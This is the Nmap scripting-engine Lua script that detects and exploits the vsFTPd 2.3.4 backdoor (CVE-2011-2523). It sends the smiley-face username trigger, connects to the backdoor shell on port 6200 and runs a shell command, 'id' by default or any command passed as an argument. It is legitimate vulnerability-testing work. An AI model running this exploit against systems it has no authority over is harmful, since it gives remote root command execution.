194 lines
5.9 KiB
Lua
194 lines
5.9 KiB
Lua
local ftp = require "ftp"
|
|
local nmap = require "nmap"
|
|
local shortport = require "shortport"
|
|
local stdnse = require "stdnse"
|
|
local string = require "string"
|
|
local table = require "table"
|
|
local vulns = require "vulns"
|
|
|
|
description = [[
|
|
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04
|
|
(CVE-2011-2523). This script attempts to exploit the backdoor using the
|
|
innocuous <code>id</code> command by default, but that can be changed with
|
|
the <code>exploit.cmd</code> or <code>ftp-vsftpd-backdoor.cmd</code> script
|
|
arguments.
|
|
|
|
References:
|
|
|
|
* http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|
|
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
|
* http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-2011-2523
|
|
]]
|
|
|
|
---
|
|
-- @usage
|
|
-- nmap --script ftp-vsftpd-backdoor -p 21 <host>
|
|
--
|
|
-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell
|
|
-- (default is <code>id</code>).
|
|
--
|
|
-- @output
|
|
-- PORT STATE SERVICE
|
|
-- 21/tcp open ftp
|
|
-- | ftp-vsftpd-backdoor:
|
|
-- | VULNERABLE:
|
|
-- | vsFTPd version 2.3.4 backdoor
|
|
-- | State: VULNERABLE (Exploitable)
|
|
-- | IDs: CVE:CVE-2011-2523 BID:48539
|
|
-- | Description:
|
|
-- | vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|
|
-- | Disclosure date: 2011-07-03
|
|
-- | Exploit results:
|
|
-- | The backdoor was already triggered
|
|
-- | Shell command: id
|
|
-- | Results: uid=0(root) gid=0(root) groups=0(root)
|
|
-- | References:
|
|
-- | https://www.securityfocus.com/bid/48539
|
|
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|
|
-- | http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|
|
-- |_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|
|
--
|
|
|
|
author = "Daniel Miller"
|
|
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
|
|
categories = {"exploit", "intrusive", "malware", "vuln"}
|
|
|
|
|
|
local CMD_FTP = "USER X:)\r\nPASS X\r\n"
|
|
local CMD_SHELL_ID = "id"
|
|
|
|
portrule = function (host, port)
|
|
-- Check if version detection knows what FTP server this is.
|
|
if port.version.product ~= nil and port.version.product ~= "vsftpd" then
|
|
return false
|
|
end
|
|
|
|
-- Check if version detection knows what version of FTP server this is.
|
|
if port.version.version ~= nil and port.version.version ~= "2.3.4" then
|
|
return false
|
|
end
|
|
|
|
return shortport.port_or_service(21, "ftp")(host, port)
|
|
end
|
|
|
|
local function finish_ftp(socket, status, message)
|
|
if socket then
|
|
socket:close()
|
|
end
|
|
return status, message
|
|
end
|
|
|
|
-- Returns true, results if vsFTPd was backdoored
|
|
local function check_backdoor(host, shell_cmd, vuln)
|
|
local socket = nmap.new_socket("tcp")
|
|
socket:set_timeout(10000)
|
|
|
|
local status, ret = socket:connect(host, 6200, "tcp")
|
|
if not status then
|
|
return finish_ftp(socket, false, "can't connect to tcp port 6200")
|
|
end
|
|
|
|
status, ret = socket:send(CMD_SHELL_ID.."\n")
|
|
if not status then
|
|
return finish_ftp(socket, false, "failed to send shell command")
|
|
end
|
|
|
|
status, ret = socket:receive_lines(1)
|
|
if not status then
|
|
return finish_ftp(socket, false,
|
|
string.format("failed to read shell command results: %s",
|
|
ret))
|
|
end
|
|
|
|
if not ret:match("uid=") then
|
|
return finish_ftp(socket, false, "service on port 6200 is not the vsFTPd backdoor: NOT VULNERABLE")
|
|
end
|
|
|
|
vuln.state = vulns.STATE.EXPLOIT
|
|
table.insert(vuln.exploit_results,
|
|
string.format("Shell command: %s", CMD_SHELL_ID))
|
|
local result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
|
|
table.insert(vuln.exploit_results,
|
|
string.format("Results: %s", result))
|
|
|
|
if shell_cmd ~= CMD_SHELL_ID then
|
|
status, ret = socket:send(shell_cmd.."\n")
|
|
if status then
|
|
status, ret = socket:receive_lines(1)
|
|
if status then
|
|
table.insert(vuln.exploit_results,
|
|
string.format("Shell command: %s", shell_cmd))
|
|
result = string.gsub(ret, "^%s*(.-)\n*$", "%1")
|
|
table.insert(vuln.exploit_results,
|
|
string.format("Results: %s", result))
|
|
end
|
|
end
|
|
end
|
|
|
|
socket:send("exit\n");
|
|
|
|
return finish_ftp(socket, true)
|
|
end
|
|
|
|
action = function(host, port)
|
|
-- Get script arguments.
|
|
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
|
|
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
|
|
|
|
local vsftp_vuln = {
|
|
title = "vsFTPd version 2.3.4 backdoor",
|
|
IDS = {CVE = 'CVE-2011-2523', BID = '48539'},
|
|
description = [[
|
|
vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.]],
|
|
references = {
|
|
'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html',
|
|
'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb',
|
|
},
|
|
dates = {
|
|
disclosure = {year = '2011', month = '07', day = '03'},
|
|
},
|
|
exploit_results = {},
|
|
}
|
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
|
|
|
-- check to see if the vsFTPd backdoor was already triggered
|
|
local status, ret = check_backdoor(host, cmd, vsftp_vuln)
|
|
if status then
|
|
return report:make_output(vsftp_vuln)
|
|
end
|
|
|
|
-- Create socket.
|
|
local sock, code, message, buffer = ftp.connect(host, port,
|
|
{request_timeout = 8000})
|
|
if not sock then
|
|
stdnse.debug1("can't connect: %s", code)
|
|
return nil
|
|
end
|
|
|
|
-- Read banner.
|
|
if not code then
|
|
stdnse.debug1("can't read banner: %s", message)
|
|
sock:close()
|
|
return nil
|
|
end
|
|
|
|
status, ret = sock:send(CMD_FTP .. "\r\n")
|
|
if not status then
|
|
stdnse.debug1("failed to send privilege escalation command: %s", ret)
|
|
return nil
|
|
end
|
|
|
|
stdnse.sleep(1)
|
|
-- check if vsFTPd was backdoored
|
|
status, ret = check_backdoor(host, cmd, vsftp_vuln)
|
|
if not status then
|
|
stdnse.debug1("%s", ret)
|
|
vsftp_vuln.state = vulns.STATE.NOT_VULN
|
|
return report:make_output(vsftp_vuln)
|
|
end
|
|
|
|
-- delay ftp socket cleaning
|
|
sock:close()
|
|
return report:make_output(vsftp_vuln)
|
|
end
|